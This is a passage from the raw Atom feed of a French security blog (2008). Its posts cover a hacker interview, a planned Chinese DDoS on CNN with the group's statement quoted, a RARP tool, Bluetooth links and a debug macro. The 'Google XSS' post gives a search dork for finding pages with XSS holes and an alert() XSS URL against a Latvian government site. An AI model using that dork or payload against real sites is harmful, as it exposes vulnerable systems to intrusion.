paraitre bizarre pour beaucoup de gens, notamment ceux habitués au C, mais selon moi c'est vrai. Je pense que la plupart des gens peuvent comprendre le C bien plus vite que le ECMA script, et ses "dungeons and dragons".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Qu'est ce qui fait qu'un hacker &lt;/span&gt;&lt;u style="font-weight: bold;"&gt;est&lt;/u&gt;&lt;span style="font-weight: bold;"&gt; un hacker ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Généralement une personne qui vit un peu en marge d'une société ou d'un groupe. Comme un "exclu", quelqu'un qui a abandonné le personnage ou le rôle qu'il joue, et part explorer l'inconnu. Une telle personne doit impérativement être obsessionnelle dans ce qu'il ou elle fait, car cela demande beaucoup d'effort et d'endurance. Je veux dire que tu dois avoir une raison de te questionner sans cesse, à propos de quelque chose.&lt;br /&gt;Ce peut être une route longue et difficile avant de tirer satisfaction de tes découvertes. C'est à peu près tout je pense. L'étape suivante est la question du partage, c'est ce que je fais sur mon blog, c'est une sorte de journal de bord de mes aventures sur le grand océan, ni plus ni moins. Mais au final, on ne peut tout exprimer par écrit. Lire des blogs et assister à des conférences peuvent te donner des compétences, mais ne te rendront pas meilleur, à moins que tu n'essayes réellement de le devenir. Quelque part c'est un peu étrange car je domine mon jeu, je ne peux plus regarder quelque part pour apprendre de nouveaux trucs. La plupart des choses, je les connais déjà, du coup ça reviens à seulement agir, mais parfois tu découvres de nouvelles choses. C'est pas de la vantardise, pour moi c'est très difficile d'apprendre de nouvelles technique des autres désormais, car je les connais ou comprend parfaitement, bien que je n'en parle pas sur mon blog.  Bien sûr il y en a qui font tilter mon imagination, mais elles sont rares.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Le truc le plus important cette année dans le domaine de l'info? une idée pour l'année prochaine?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Et bien, je pense que les mécanismes de requêtes non autorisées vont accaparer pas mal d'attention cette année, c'était déja le cas début 2008 avec les problèmes touchant les routeurs entre autre. Je pense que flash va rester un vecteur d'attaque. Je ne m'en inquiète plus trop, tout comme les failles de realplayer ou quicktime, depuis que j'en ai désactivé la plupart. C'est un domaine qui ne m'intéresse pas, mais il y a beaucoup de choses à découvrir au sein de ces services, c'est évident.&lt;br /&gt;Oh et puis aussi des grosses attaques de botnets, je pense qu'il y vont en gagner des tonnes cette année!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Le principal espoir du moment pour la sécurité?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il est temps de se débarrasser de tout ce qui porte atteinte à la sécurité. Internet n'a pas été conçu pour transporter de la vidéo ou interconnecter tous les réseaux automatiquement. HTTP est indépendant de tout état pour une bonne raison, et nous l'avons détruite. L'internet était destiné au partage d'information, pas à youtube. Finalement, les gens se lasseront, je pense que 4chan est un bon exemple. Le net va devenir un lieu de frustration, les gens l'abandonneront, et il sera de nouveau laissé entre les mains des geeks. Ça peut sembler une bien sombre image mais je ne pense vraiment pas que cela puisse continuer de la sorte. Tout peut être hacké, attaqué, lorsque tu le connecte au net. T'es plus en sécurité en ligne. Et peu importe ton comportement, il y a quelque part une attaque qui t'attend. A moins que l'on ne rende le net comme il était auparavant, sans états ni scripts.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Le pire cauchemar en ce moment pour la sécurité?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Je pense qu'on est en plein dedans, c'est un vrai cauchemar et personne n'a de solution pour que cela cesse!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Selon toi, comment vont évoluer les menaces (à court et long terme)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A moins que les internautes ne deviennent mieux éduqués et ne cliquent pas sur chaque popup ou lien quelconque, ça va rester comme c'est. La plupart des bots touchent les mêmes personnes qui cliquent sur des jolies poupées dansantes, et ça a moins de rapport avec les exploits actuels ou les stack overflows depuis qu'il devient de plus en plus difficile de les exploiter.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Des projets?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ouais, je travaille sur un nouveau projet appelé "Teisatsu". Ça va devenir un projet sympa, c'est déjà un "webbased nmap scanner", et un outil de pénétration réseau complet, écrit exclusivement en PHP. Il a pas mal de possibilités, son propre client telnet, scanner de noms d'hôtes, Google spider et d'autre choses dans le même genre. J'ignore quand il sera prêt, sans doute le mois prochain.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Une citation préférée?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il y en a beaucoup, de bien des auteurs, mais je voudrais donner une citation du Tao te Ching (écrit aux alentours de 600 - 500 av. JC). C'est une partie du verset 33, et ça résume tout ce qu'il y a à dire:&lt;br /&gt;&lt;br /&gt;Verset 33&lt;br /&gt;&lt;br /&gt;Connaitre les autres constitue l'intelligence;&lt;br /&gt;Se connaitre soit même constitue la vraie sagesse.&lt;br /&gt;Maitriser les autres constitue la force;&lt;br /&gt;Se maitriser soit même constitue le vrai pouvoir.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Merci яoиald :)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6073488477229719522?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6073488477229719522/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6073488477229719522&amp;isPopup=true' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6073488477229719522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6073488477229719522'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/04/quelques-questions-ronald-van-den.html' title='Quelques questions à Ronald van den Heetkamp (яoиald)'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4079767302196298091</id><published>2008-04-21T01:30:00.004+02:00</published><updated>2008-12-12T09:40:22.169+01:00</updated><title type='text'>DDOS sur CNN</title><content type='html'>&lt;div style="text-align: justify;"&gt;Un groupe de pirates chinois souhaiteraient attaquer le site de CNN. L'appel du groupe "Revenge of the flame" est actuellement relayé par un nombre croissant de sites chinois. L'objectif étant de saturer le serveur (DDOS attack)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ch7WAv-Jmeo/SAvTbDm9z-I/AAAAAAAAAGI/WYtsvHoEbU8/s1600-h/revenge.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 279px; height: 240px;" src="http://3.bp.blogspot.com/_ch7WAv-Jmeo/SAvTbDm9z-I/AAAAAAAAAGI/WYtsvHoEbU8/s400/revenge.jpg" alt="" id="BLOGGER_PHOTO_ID_5191475457253298146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;emblème du groupe Revenge of the Flame&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Au 17 avril 2008, le site (en) &lt;a href="http://www.thedarkvisitor.com/2008/04/breaking-upcoming-chinese-hacker-attack-on-cnn-building-steam"&gt;http://www.thedarkvisitor.com&lt;/a&gt; publiait les informations suivantes :&lt;br /&gt;&lt;br /&gt;1. Début de l'attaque le 19 Avril 2008 à 8h00&lt;br /&gt;2. Attaque ciblée sur www.cnn.com&lt;br /&gt;3. Attaque de type DDOS, prolongée sur trois heures&lt;br /&gt;4. Appel à contribution de botnets (réseaux de machines infectées, à disposition des pirates) afin de mener à bien l'attaque.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;L'annonce étant publique, le site www.cnn.com a mis en place des mesures anti SYN flood. Cette protection aurait permis de faire échouer une première tentative, mais aurait également perturbé fortement les tentatives de connection "normales" en provenance d'Asie&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ATLANTA, Georgia (CNN) — CNN was targeted Thursday by attempts to interrupt its news Web site, resulting in countermeasures that caused the service to be slow or unavailable to some users in limited areas of Asia.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Les pirates ont alors reporté leur attaqee à une date "ultérieure non précisée publiquement", en attendant la désactivation des règles anti SYN flood sur le site. En attendant le groupe continue de recruter, et apparemment sans problèmes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voici le premier message public du groupe à la population chinoise (Version anglaise et traduction francaise après) :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Statement from Revenge of the Flame:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;In just three short days, our organization, the Revenge of the Flame, has grown large. First, I want to thank everyone for their strong sense of nationalistic responsibility. However, maybe we were too impetuous. We love our country! We will resist all anti-Chinese influences! However, we must choose the right way to come to the defense of our country, families and ourselves!!! After some core internal discussions, we have decided to temporarily cancel the 19th attack plan! The Revenge of the Flame organization still exists! Later we can be a computer discussion organization, we will study together for the day our country needs us! Our government and military will all mobilize! At that time, we will let those so-called foreign net-forces see! No matter where, China will never lose to them! We also have our net-forces! Perhaps at that time, our Revenge of the Flame will be the main strength! We all love our country! But, we must use sensible methods to defend our honor!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ATTENTION: Our original plan for 19 April has been canceled because too many people are aware of it and the situation is chaotic. At an unspecified date in the near future, we will launch the attack. We ask that everyone remain ready. I will repeat it again. At an unspecified date in the near future, we will launch the attack. We are only at present cancelling the attack. We could send out a notice on the day of the attack and have it completed in one day. The attack hasn’t been cancelled; it will be carried out on an unspecified day in the near future. I think everyone understands what we mean.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;We hope that even more people with the Chinese national blood will join our actions. Only in unity is there strength. We are not individuals, we are a collective, and we are Chinese.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Source américaine : 17 avril / 18 avril&lt;br /&gt;&lt;br /&gt;Et la traduction FR:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;En seulement 3 courts jours, notre organisation, la Revanche de la Flame, a grossit énormément. Tout d’abords, j’aimerai remercier chacun d’entre vous pour votre “sens responsable nationaliste”. Cependant, nous étions sans doute trop impétueux. Nous aimons notre pays ! Nous allons resister à toutes les influences anti-chinoises. Cependant, nous devons choisir la bonne voie pour défendre notre pays, nos familles et nous-même ! Après quelques discussion internes, nous avons décidés d’annuler temporairement l’attaque du 19. L’organisation de La Revanche de la Flamme existe toujours ! Plus tard nous pourrons être une organisation de discussion virtuel, nous étudierons ensemble pour le jour où notre pays aura besoin de nous. Notre gouvernement et nos armées se mobiliseront tous ! A ce moment la, nous laisserons les sus-nommées “force du net étrangère” voir (comprendre) ! N’importe ou, la Chine ne perdra jamais contre eux. Nous avons, nous-aussi nos force du net ! Peut-être ace moment, notre Revanche de la Flamme sera la plus grand force ! Nous aimons tous notre pays ! Mais nous devons user de méthode plus sensibles pour défendre notre honneur.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ATTENTION : Notre plan de départ du 19 avril a été annulé parce que trop de monde était au courant et la situation était chaotic. A une date non spécifiée dans un futur proche, nous lanceront l’attaque. Nous demandons à chacun de rester prêt. Ca va recommencer. A une date non spécifiée dans un futur proche, nous lanceront l’attaque. Nous annulons présentement l’attaque. Nous pourrons envoyer une note sur la date de l’attaque et nous serrons prêt dans la journée. L’attaque n’a pas été annulée; elle sera relancé dans un futur proche. Je pense que chacun comprend ce que nous voulons dire.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Nous espérons qu’encore plus de chinois de sang nous rejoindront. C’est seulement dans l’unité que nous aurons la force. Nous ne sommes pas des individualités, nous somme une communauté, nous sommes chinois.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;(traduction &lt;a href="http://www.leblogdantoine.com/"&gt;www.leblogdantoine.com)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4079767302196298091?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4079767302196298091/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4079767302196298091&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4079767302196298091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4079767302196298091'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/04/ddos-sur-cnn.html' title='DDOS sur CNN'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ch7WAv-Jmeo/SAvTbDm9z-I/AAAAAAAAAGI/WYtsvHoEbU8/s72-c/revenge.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-461758094195676362</id><published>2008-04-18T16:40:00.007+02:00</published><updated>2008-04-21T17:46:07.594+02:00</updated><title type='text'>Google XSS</title><content type='html'>&lt;div style="text-align: justify;"&gt;La méthode alert() de javascript a un usage quasi-réservé au debug de scripts. Néanmoins, elle est de loin la plus appelée dans les proofs of concepts de failles XSS.&lt;br /&gt;&lt;br /&gt;Tellement que celà en devient un Google dork. Il est possible de trouver une quantité impressionnante de pages vulnérables (non 0day du coup) via une recherche du genre :&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;inurl:&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Avec même des petites perles :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://www.sic.gov.lv/?gi=%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Petite dérive hors sujet : étant donné que l'on parle de la méthode alert(), jetez donc un oeil à l'article "&lt;a href="http://www.gnucitizen.org/blog/snippets-of-defense-pti"&gt;snippets of defense Pt. I&lt;/a&gt;" de .mario (GnuCitize, PHP IDS,  mailgun..."&lt;br /&gt;&lt;br /&gt;Toujours partant du fait qu'alert() est très souvent utilisée pour prouver une faille XSS, l'idée est de réécrire le méthode, afin de logger ses appels.&lt;br /&gt;Le code est sur le lien ci-dessus. Assez sympathique et belle utilisation des possibilités de JavaScript concernant les pointeurs de fonction.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-461758094195676362?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/461758094195676362/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=461758094195676362&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/461758094195676362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/461758094195676362'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/04/google-xss.html' title='Google XSS'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-8512465565492603863</id><published>2008-04-06T15:22:00.009+02:00</published><updated>2008-04-21T17:47:21.502+02:00</updated><title type='text'>Effectuer des requêtes RARP sous Linux</title><content type='html'>&lt;div style="text-align: justify;"&gt;Pour mémoire, le protocole RARP, définit par la RFC 903 permet à une machine de connaitre l'adresse IP d'une machine (par exemple elle même) à partir de son adresse matérielle (ou adresse MAC).&lt;br /&gt;&lt;br /&gt;Si des requêtes ARP peuvent être forgées à partir de l'outil ARPING, il n'existait pas à ma connaissance d'outil similaire pour les systèmes Gnu/Linux.&lt;br /&gt;C'est chose faite avec RARPING, le logiciel est écrit en C, sans dépendance particulière (système Gnu/Linux, un compilateur C digne de ce nom et c'est tout...). Le projet est hébergé sur Google Code, vous pouvez récupérer le code soit par svn :&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;svn co http://rarping.googlecode.com/svn/trunk/ rarping-read-only&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Soit via votre browser à la homepage du projet :&lt;span style="text-decoration: underline;"&gt; &lt;/span&gt;&lt;a href="http://code.google.com/p/rarping"&gt;http://code.google.com/p/rarping&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;J'ai plusieurs idées pour améliorer rarping. Il devrait donc encore évoluer de façon importante. Notamment quant à la possibilité pour l'utilisateur de définir le timeout, et l'usurpation d'adresses IP et MAC dans les requêtes. D'autres petites choses comme un meilleur contrôle des sorties (niveau de verbosité, logs...)&lt;br /&gt;&lt;br /&gt;Les commentaires sont de type Doxygen et relativement abondants.&lt;br /&gt;Ils suffisent je pense à comprendre le fonctionnement du programme.&lt;br /&gt;&lt;br /&gt;L'utilisation requiert la CAP_NET_RAW (cf. &lt;a href="http://http//pwet.fr/man/linux/conventions/capabilities"&gt;man capabilities&lt;/a&gt;) pour être utilisé du fait qu'il ouvre une socket de types SOCK_RAW (envoi de données brutes sur le réseau), donc sur la majorité des machines, il faudra être root.&lt;br /&gt;La ligne de commande est relativement simple et classique :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;root@debianne:# ./rarping -h&lt;br /&gt;RARPING (null) on (null)&lt;br /&gt;Usage : ./rarping [-h] [-c count] [-I interface] request_MAC_address&lt;br /&gt;     -h : print this screen and exit&lt;br /&gt;     -V : print version and exit&lt;br /&gt;     -c count : send [count] request(s) and exit&lt;br /&gt;     -I interface : network device to use&lt;br /&gt;     request_MAC_address : hardware address we request associated IP address&lt;br /&gt;For example : ./rarping -I eth0 00:03:13:37:be:ef&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@debianne:# ./rarping -c 1 -I eth0 00:16:32:2e:15:b6&lt;br /&gt;RARPING 00:16:32:2e:15:b6 on wlan0&lt;br /&gt;Reply received from 192.168.1.14 (00:11:d9:6a:51:c4) : 00:16:32:2e:15:b6 has 192.168.1.13&lt;br /&gt;Sent 1 request(s)&lt;br /&gt;Received 1 response(s)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si vous trouvez des bugs, avez des idées pour améliorer le programme, des questions ou n'importe quoi qui concerne de près ou de loin rarping n'hésitez pas à m'en faire part!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-8512465565492603863?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/8512465565492603863/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=8512465565492603863&amp;isPopup=true' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8512465565492603863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8512465565492603863'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/04/effectuer-des-requtes-rarp-sous-linux.html' title='Effectuer des requêtes RARP sous Linux'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-962913275509721500</id><published>2008-03-25T21:11:00.004+01:00</published><updated>2008-04-21T01:51:42.822+02:00</updated><title type='text'>Bluetooth Hacking -- II --</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ok, ok, c'est vrai j'avais promis de releaser ici mes codes relatifs à la sécurité Bluetooth. Le manque de temps m'a empêché de mener à bien et surtout en temps voulu mon code. J'ai bien commencé un RFComm Packet Injector (un truc pas encore implémenté dans &lt;a href="http://bluediving.sourceforge.net/"&gt;Bluediving&lt;/a&gt; ) mais ai donc dû le mettre de côté.&lt;br /&gt;&lt;br /&gt;Pour me faire pardonner, voici une petite liste de liens bien plus intéressant que le programme qui aurait dû être ici :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cases.public.lu/fr/publications/dossiers/bluetooth/index.html"&gt;Présentations des principales attaques connues&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.viruslist.com/fr/analysis?pubid=180598400"&gt;La même à la sauce Kaspersky Labs&lt;/a&gt;&lt;br /&gt;&lt;a href="http://people.csail.mit.edu/albert/bluez-intro"&gt;Guide d'introduction à la programmation Bluetooth&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En enfin une vidéo de ces messieurs du Chaos Computer Club. Intéressant de voir comment il martyrisent le protocole dont la sécurité est vantée par tous les industriels (même ceux hors du consortium Bluetooth!). Bon en même temps c'est vrai que les mecs du CCC sont doués à vous faire flipper d'utiliser une cafetière tellement elle est insecure à leur yeux...&lt;br /&gt;&lt;br /&gt;&lt;embed style="width: 400px; height: 326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-3912884713197210784&amp;amp;hl=fr" flashvars=""&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;Dossier Bluetooth : -- &lt;a href="http://www.secuobs.com/news/05022006-bluetooth1.shtml"&gt;Partie 1&lt;/a&gt; (technologie) -- &lt;a href="http://www.secuobs.com/news/05022006-bluetooth2.shtml"&gt;Partie 2&lt;/a&gt; (sécurité) --&lt;br /&gt;N'hésitez pas à consulter les autres vidéos du CCC!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://chaosradio.ccc.de/"&gt;http://chaosradio.ccc.de&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-962913275509721500?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/962913275509721500/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=962913275509721500&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/962913275509721500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/962913275509721500'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/03/bluetooth-hacking-ii.html' title='Bluetooth Hacking -- II --'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-7826828337000081008</id><published>2008-03-06T22:19:00.007+01:00</published><updated>2008-04-09T16:54:12.727+02:00</updated><title type='text'>Macro mouchard</title><content type='html'>Petit post au milieu d'une période bien chargée! Simplement pour partager une macro extrêmement utile. Elle permet de savoir avec précision où l'on se trouve dans le code, et l'état de errno. Peut donc raccourcir grandement une phase de Debug...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define MOUCHARD (fprintf( stderr, "Mouchard !!!\n&lt;br /&gt;\tFile : %s\n&lt;br /&gt;\tFunction : %s\n&lt;br /&gt;\tLine : %d\n&lt;br /&gt;\terrno : %m (%d)\n", __FILE__, __FUNCTION__,&lt;br /&gt;__LINE__, errno ))&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-size:85%;"&gt;(Découpée ici sur plusieurs lignes pour d'évidentes raison de mise en page)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;En espérant qu'elle vous sera aussi utile qu'à moi!&lt;br /&gt;Ce morceau de code est sous Licence Gnu/GPL, from "Bioul", d'après une idée de Vincent, un de ses amis de promo (de source sure!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-7826828337000081008?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/7826828337000081008/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=7826828337000081008&amp;isPopup=true' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7826828337000081008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7826828337000081008'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/03/macro-mouchard.html' title='Macro mouchard'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-5435793163864159974</id><published>2008-02-09T03:24:00.001+01:00</published><updated>2008-12-12T09:40:22.496+01:00</updated><title type='text'>Confiance</title><content type='html'>&lt;div style="text-align: justify;"&gt;Etrange surprise que je viens d'avoir ce soir. En me rendant ici même, mon antivirus (Kaspersky pour ne pas le nommer) m'affiche ceci:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ch7WAv-Jmeo/R63paIvntRI/AAAAAAAAABE/J0GT31h7hmQ/s1600-h/blogspot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_ch7WAv-Jmeo/R63paIvntRI/AAAAAAAAABE/J0GT31h7hmQ/s400/blogspot.png" alt="" id="BLOGGER_PHOTO_ID_5165040982896915730" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;D'abord quelque peu inquiet, j'ai réalisé que toutes les url *.blogspot.com généraient une telle alerte (normalement des alertes critiques!)&lt;br /&gt;&lt;br /&gt;Ceci est dut au fait que Blogspot, première plateforme de blog, google powered, est jugée "digne de confiance" par les internautes.. Or, blogspot offre aux auteurs des blogs le contrôle du code html généré. Très pratique lorsque l'on veut procéder à quelques ajouts, mais certains y auront vu la possibilité de placer cà et là quelques scripts malveillants. Javascripts notamment.&lt;br /&gt;&lt;br /&gt;Certains blogs de blogspot doivent donc être (ou avoir été) utilisés comme tête de pont pour mener des attaques... D'autant plus que la plateforme est gratuite et l'inscription simple et rapide.&lt;br /&gt;&lt;br /&gt;Les malwares javascripts et flash sont très en vogue actuellement. Couvrant de la tentative d'exploitation de failles 0day sophistiquée au phishing plus "commun".&lt;br /&gt;&lt;br /&gt;Je ne suis pas en mesure d'expliquer pourquoi blogspot est donc "banni" par Kaspersky pour cause de phishing, et pas autre chose. Aucune information sur le site de &lt;a href="http://www.kaspersky.com/"&gt;Kaspersky Labs&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Troublant également: le fait que des outils évolués comme le sont ceux cités ici se contentent aveuglément de prohiber (car vu le message affiché on est plus proche de l'interdiction que du conseil, est-ce plus mal?) l'accès à toute URL en *.blogspot.com&lt;br /&gt;Preuve:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 